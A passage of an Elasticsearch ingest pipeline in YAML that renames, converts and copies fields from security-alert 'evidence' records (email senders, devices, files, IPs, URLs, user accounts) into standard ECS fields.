tag: foreach_evidence_antiSpamDirection - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.antiSpamDirection - tag: rename_foreach_antispam_direction - target_field: _ingest._value.antispam_direction - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_direction - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.direction - tag: append_foreach_evidence_email_direction - value: '{{{_ingest._value.antispam_direction}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_subject - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.subject - tag: append_foreach_evidence_email_subject - value: '{{{_ingest._value.subject}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_recipientEmailAddress - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.recipientEmailAddress - tag: rename_foreach_evidence_recipientEmailAddress - target_field: _ingest._value.recipient_email_address - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_related_user - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_related_user - value: '{{{_ingest._value.recipient_email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_to_address - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.to.address - tag: append_foreach_evidence_email_to_address - value: '{{{_ingest._value.recipient_email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_convert_evidence_attachmentsCount - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.attachmentsCount - tag: convert_foreach_evidence_attachmentsCount - target_field: _ingest._value.attachments_count - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.attachmentsCount - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_rename_deliveryAction - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.deliveryAction - tag: rename_foreach_evidence_deliveryAction - target_field: _ingest._value.delivery_action - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_deliveryLocation - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.deliveryLocation - tag: rename_foreach_evidence_deliveryLocation - target_field: _ingest._value.delivery_location - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_append_evidence_internetMessageId - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.message_id - tag: append_foreach_evidence_email_message_id - value: '{{{_ingest._value.internetMessageId}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_append_evidence_networkMessageId - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.local_id - tag: append_foreach_evidence_email_local_id - value: '{{{_ingest._value.networkMessageId}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_dot_expander_evidence_p1Sender - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.p1Sender - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p1Sender.@odata.type - tag: rename_foreach_evidence_odata_type - target_field: _ingest._value.p1_sender.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_p2Sender - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.p2Sender - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_p2Sender_odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p2Sender.@odata.type - tag: rename_foreach_evidence_p2Sender_odata_type - target_field: _ingest._value.p2_sender.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_displayName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p1Sender.displayName - tag: rename_foreach_p2Sender_displayName - target_field: _ingest._value.p1_sender.display_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_p1Sender_Display_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_p1Sender_Display_name - value: '{{{_ingest._value.p1_sender.display_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_p1sender_domain_name - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p1Sender.domainName - tag: rename_foreach_evidence_p1sender_domainName - target_field: _ingest._value.p1_sender.domain_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_rename_evidence_append_related_hosts_p1sender_domain_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_rename_evidence_related_hosts_p1sender_domain_name - value: '{{{_ingest._value.p1_sender.domain_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_rename_evidence_p1sender_emailAddress - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p1Sender.emailAddress - tag: rename_foreach_evidence_p1sender_emailaddress - target_field: _ingest._value.p1_sender.email_address - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_from_adress - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.from.address - tag: append_foreach_evidence_email_from_adress - value: '{{{_ingest._value.p1_sender.email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_email_sender_address - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.sender.address - tag: append_foreach_evidence_email_sender_address - value: '{{{_ingest._value.p1_sender.email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_append_evidence_related_user_p1sender_emailaddress - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_related_user_p1sender_emailaddress - value: '{{{_ingest._value.p1_sender.email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_rename_evidence_p2sender_displayname - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p2Sender.displayName - tag: rename_foreach_evidence_p2sender_displayname - target_field: _ingest._value.p2_sender.display_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_user_p2sender_display_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_evidence_user_p2sender_display_name - value: '{{{_ingest._value.p2_sender.display_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_p2sender_domain_name - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p2Sender.domainName - tag: rename_foreach_evidence_p2sender_domain_name - target_field: _ingest._value.p2_sender.domain_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_hosts_p2sender_domain_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_evidence_hosts_p2sender_domain_name - value: '{{{_ingest._value.p2_sender.domain_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_p2sender_email_address - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.p2Sender.emailAddress - tag: rename_foreach_evidence_p2sender_emailAddress - target_field: _ingest._value.p2_sender.email_address - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_append_evidence_p2sender_emailaddress - if: ctx.json?.evidence instanceof List - processor: - append: - field: email.from.address - tag: append_foreach_evidence_p2sender_emailaddress - value: '{{{_ingest._value.p2_sender.email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_append_user_p2sender_email_address - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.user - tag: append_foreach_user_p2sender_email_address - value: '{{{_ingest._value.p2_sender.email_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_convert_senderIp - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.senderIp - tag: convert_foreach_evidence_senderIp - target_field: _ingest._value.sender_ip - type: ip - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.senderIp - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_append_source_ip_sender_ip - if: ctx.json?.evidence instanceof List - processor: - append: - field: source.ip - tag: append_foreach_evidence_source_ip_sender_ip - value: '{{{_ingest._value.sender_ip}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_related_ip_sender_ip - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.ip - tag: append_foreach_evidence_related_ip_sender_ip - value: '{{{_ingest._value.sender_ip}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_threatDetectionMethods - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.threatDetectionMethods - tag: rename_foreach_evidence_threatDetectionMethods - target_field: _ingest._value.threat_detection_methods - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_urlCount - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.urlCount - tag: convert_foreach_evidence_urlCount - target_field: _ingest._value.url_count - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.urlCount - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_convert_instanceId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.instanceId - tag: convert_foreach_evidence_instanceId - target_field: _ingest._value.instance_id - type: string - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.instanceId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_append_cloud_instance_id - if: ctx.json?.evidence instanceof List - processor: - append: - field: cloud.instance.id - tag: append_foreach_evidence_cloud_instance_id - value: '{{{_ingest._value.instance_id}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_rename_evidence_instanceName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.instanceName - tag: rename_foreach_evidence_instanceName - target_field: _ingest._value.instance_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_cloud_instance_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: cloud.instance.name - tag: append_foreach_evidence_cloud_instance_name - value: '{{{_ingest._value.instance_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_convert_appId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.appId - tag: convert_foreach_evidence_appID - target_field: _ingest._value.app_id - type: string - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.appId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_displayName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.displayName - tag: rename_foreach_evidence_display_name - target_field: _ingest._value.display_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_saasAppId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.saasAppId - tag: convert_foreach_evidence_saasAppId - target_field: _ingest._value.saas_app_id - type: string - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.saasAppId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_vmMetadata_cloudProvider - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.vmMetadata.cloudProvider - tag: rename_foreach_evidence_vmMetadata_cloudProvider - target_field: _ingest._value.vm_metadata.cloud_provider - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_mdaDeviceId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.mdeDeviceId - tag: rename_foreach_evidence_mdaDeviceId - target_field: _ingest._value.mde_device_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_mdaDeviceId_into_related_hosts - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_evidence_mdaDeviceId_into_related_hosts - value: '{{{_ingest._value.mde_device_id}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_osPlatform - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.osPlatform - tag: rename_foreach_osPlatform - target_field: _ingest._value.os_platform - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_host_os_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: host.os.name - tag: append_foreach_evidence_host_os_name - value: '{{{_ingest._value.os_platform}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_os_platform_related_hosts - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_evidence_os_platform_related_hosts - value: '{{{_ingest._value.os_platform}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_append_host_os_version - if: ctx.json?.evidence instanceof List - processor: - append: - field: host.os.version - tag: append_foreach_host_os_version - value: '{{{_ingest._value.version}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_append_version_into_related_hosts - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_version_into_related_hosts - value: '{{{_ingest._value.version}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_rename_evidence_azureAdDeviceId - if: ctx.json?.evidence instanceof List - processor: - append: - field: device.id - tag: append_azureAdDeviceId_into_device_id - value: '{{{_ingest._value.azureAdDeviceId}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_json_evidence_61979541 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.azureAdDeviceId - tag: rename_foreach_evidence_azureAdDeiveId - target_field: _ingest._value.azure_ad_device_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_defenderAvStatus - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.defenderAvStatus - tag: rename_foreach_evidence_defenderAvStatus - target_field: _ingest._value.defender_av_status - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_deviceDnsName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.deviceDnsName - tag: rename_foreach_evidece_deviceDnsName - target_field: _ingest._value.device_dns_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_hosts_device_dns_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_evidence_hosts_device_dns_name - value: '{{{_ingest._value.device_dns_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_device_dns_name_to_host_hostname - if: ctx.json?.evidence instanceof List - processor: - append: - field: host.hostname - tag: append_foreach_evidence_device_dns_name_to_host_hostname - value: '{{{_ingest._value.device_dns_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_date_firstSeenDateTime - if: ctx.json?.evidence instanceof List - processor: - date: - field: _ingest._value.firstSeenDateTime - tag: date_foreach_firstSeenDateTime - target_field: _ingest._value.first_seen_datetime - formats: - - ISO8601 - on_failure: - - remove: - field: _ingest._value.firstSeenDateTime - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_healthStatus - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.healthStatus - tag: rename_foreach_evidence_healthStatus - target_field: _ingest._value.health_status - ignore_missing: true - - foreach: - field: json.evidence - tag: double_foreach_evidence__rename_accountName - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_evidence_loggedOnUSers_rename_accountName - ignore_missing: true - processor: - rename: - field: _ingest._value.accountName - tag: rename_foreach_evidence_accountName - target_field: _ingest._value.account_name - ignore_missing: true - - foreach: - field: json.evidence - tag: double_foreach_evidence_append_loggedOnUsers_account_name - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_append_loggedOnUsers_account_name - ignore_missing: true - processor: - append: - field: related.user - tag: append_inside_foreach_loggedOnUsers_account_name - value: '{{{_ingest._value.account_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: double_foreach_evidence_rename_loggedOnUsers_domainName - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_rename_loggedOnUsers_domainName - ignore_missing: true - processor: - rename: - field: _ingest._value.domainName - tag: rename_foreach_loggedOnUsers_domainName - target_field: _ingest._value.domain_name - ignore_missing: true - - foreach: - field: json.evidence - tag: double_foreach_evidence_loggedOnUsers_append_domain_name - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_loggedOnUsers_append_domainName - ignore_missing: true - processor: - append: - field: related.hosts - tag: append_inside_foreach_loggedOnUsers_domainName - value: '{{{_ingest._value.domain_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: double_foreach_evidence_loggedOnUsers_dot_expander_@odata_type - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_dot_expander_loggedOnUsers - ignore_missing: true - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: double_foreach_evidence_loggedOnUsers_rename_@odata_type - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.loggedOnUsers - tag: inside_foreach_loggedOnUsers_rename_@odata_type - ignore_missing: true - processor: - rename: - field: _ingest._value.@odata.type - tag: rename_evidence_foreach_loggedOnUsers_@odata_type - target_field: _ingest._value.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_loggedOnUsers - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.loggedOnUsers - target_field: _ingest._value.logged_on_users - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_onboardingStatus_rename - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.onboardingStatus - target_field: _ingest._value.onboarding_status - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_osBuild - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.osBuild - tag: convert_foreach_evidence_osBuild - target_field: _ingest._value.os_build - type: string - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.osBuild - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_convert_rbacGroupId - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.rbacGroupId - tag: convert_foreach_evidence_rbacGroupId - target_field: _ingest._value.rbac_group.id - type: string - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.rbacGroupId - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_rename_evidence_rbacGroupName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.rbacGroupName - tag: rename_foreach_evidence_rbacGroupName - target_field: _ingest._value.rbac_group.name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_riskScore - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.riskScore - tag: rename_foreach_evidence_riskScore - target_field: _ingest._value.risk_score - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander_vmMetadata - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.vmMetadata - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_vmMetadata_@odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.vmMetadata.@odata.type - tag: rename_foreach_evidence_vmMetadata_@odata_type - target_field: _ingest._value.vm_metadata.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_vmMetadata_resourceId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.vmMetadata.resourceId - tag: rename_foreach_evidence_vmMetadata_resourceId - target_field: _ingest._value.vm_metadata.resource_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_vmMetadata_subscriptionId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.vmMetadata.subscriptionId - tag: rename_foreach_evidence_vmMetadata_subscriptionId - target_field: _ingest._value.vm_metadata.subscription_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_vmMetadata_vmId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.vmMetadata.vmId - tag: rename_foreach_evidence_vmMetadata_vmId - target_field: _ingest._value.vm_metadata.vm_id - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_detectionStatus - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.detectionStatus - tag: rename_foreach_evidence_detectionStatus - target_field: _ingest._value.detection_status - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_detection_status - if: ctx.json?.evidence instanceof List - processor: - append: - field: event.action - tag: append_foreach_evidence_detection_status - value: '{{{_ingest._value.detection_status}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander_fileDetails - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.fileDetails - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_fileDetails_@odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.@odata.type - tag: rename_foreach_evidence_fileDetails_@odata_type - target_field: _ingest._value.file_details.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_fileDetails_sha1 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.sha1 - tag: rename_foreach_evidence_fileDetails_sha1 - target_field: _ingest._value.file_details.sha1 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_fileDetails_sha1_into_fileHashSha1 - if: ctx.json?.evidence instanceof List - processor: - append: - field: file.hash.sha1 - tag: append_foreach_evidence_fileDetails_sha1_into_fileHashSha1 - value: '{{{_ingest._value.file_details.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_fileDetails_sha1_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_fileDetails_sha1_into_related_hash - value: '{{{_ingest._value.file_details.sha1}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_fileDetails_sha256 - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.sha256 - tag: rename_foreach_evidence_fileDetails_sha256 - target_field: _ingest._value.file_details.sha256 - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_filedetails_sha256_into_file_hash_sha256 - if: ctx.json?.evidence instanceof List - processor: - append: - field: file.hash.sha256 - tag: append_foreach_evidence_filedetails_sha256_into_file_hash_sha256 - value: '{{{_ingest._value.file_details.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_filedetails_sha256_into_related_hash - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hash - tag: append_foreach_evidence_filedetails_sha256_into_related_hash - value: '{{{_ingest._value.file_details.sha256}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_fileDetails_fileName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.fileName - tag: rename_foreach_evidence_fileDetails_FileName - target_field: _ingest._value.file_details.name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_fileDetails_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: file.name - tag: append_foreach_evidence_fileDetails_name - value: '{{{_ingest._value.file_details.name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_fileDetails_filePath - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.filePath - tag: rename_foreach_evidence_fileDetails_filePath - target_field: _ingest._value.file_details.path - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_fileDetails_path - if: ctx.json?.evidence instanceof List - processor: - append: - field: file.path - tag: append_foreach_evidence_fileDetails_path - value: '{{{_ingest._value.file_details.path}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_convert_fileSize - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.fileDetails.fileSize - tag: convert_foreach_evidence_fileSize - target_field: _ingest._value.file_details.size - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.fileDetails.fileSize - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_rename_filePublisher - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.filePublisher - tag: rename_foreach_evidence_filePublisher - target_field: _ingest._value.file_details.publisher - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_issuer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.issuer - tag: rename_foreach_evidence_issuer - target_field: _ingest._value.file_details.issuer - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_signer - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.fileDetails.signer - tag: rename_evidence_foreach_signer - target_field: _ingest._value.file_details.signer - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_convert_ipAddress - if: ctx.json?.evidence instanceof List - processor: - convert: - field: _ingest._value.ipAddress - tag: convert_foreach_evidence_ipAddress - target_field: _ingest._value.ip_address - type: ip - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.ipAddress - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.evidence - tag: foreach_evidence_append_ip_address_into_host_ip - if: ctx.json?.evidence instanceof List - processor: - append: - field: host.ip - tag: append_foreach_evidence_ip_address_into_host_ip - value: '{{{_ingest._value.ip_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_ip_address_into_related_ip - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.ip - tag: append_foreach_evidence_ip_address_into_related_ip - value: '{{{_ingest._value.ip_address}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_countryLetterCode_to_geo_country_iso_code - if: ctx.json?.evidence instanceof List - processor: - append: - field: source.geo.country_iso_code - tag: append_foreach_evidence_countryLetterCode_to_geo_country_iso_code - value: '{{{_ingest._value.country_letter_code}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_append_url_to_url_original - if: ctx.json?.evidence instanceof List - processor: - append: - field: url.original - tag: append_foreach_evidence_url_to_url_original - value: '{{{_ingest._value.url}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_urls_array_to_url_original - if: ctx.json?.evidence instanceof List - processor: - foreach: - field: _ingest._value.urls - tag: foreach_append_urls_array_to_url_original - ignore_missing: true - processor: - append: - field: url.original - tag: append_urls_array_to_url_original - value: '{{{_ingest._value}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_dot_expander_userAccount - if: ctx.json?.evidence instanceof List - processor: - dot_expander: - field: '@odata.type' - path: _ingest._value.userAccount - ignore_failure: true - override: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_userAccount_odata_type - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.userAccount.@odata.type - tag: renane_foreach_evidence_userAccount_odata_type - target_field: _ingest._value.user_account.odata_type - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_rename_useraccount_domainName - if: ctx.json?.evidence instanceof List - processor: - rename: - field: _ingest._value.userAccount.domainName - tag: rename_foreach_evidence_useraccount_domainName - target_field: _ingest._value.user_account.domain_name - ignore_missing: true - - foreach: - field: json.evidence - tag: foreach_evidence_append_useraccount_domain_name - if: ctx.json?.evidence instanceof List - processor: - append: - field: related.hosts - tag: append_foreach_evidence_useraccount_domain_name - value: '{{{_ingest._value.user_account.domain_name}}}' - allow_duplicates: false - - foreach: - field: json.evidence - tag: foreach_evidence_rename_useraccount_azureAdUserId - if: ctx.json?.evidence instanceof List - processor: - rename: - field: 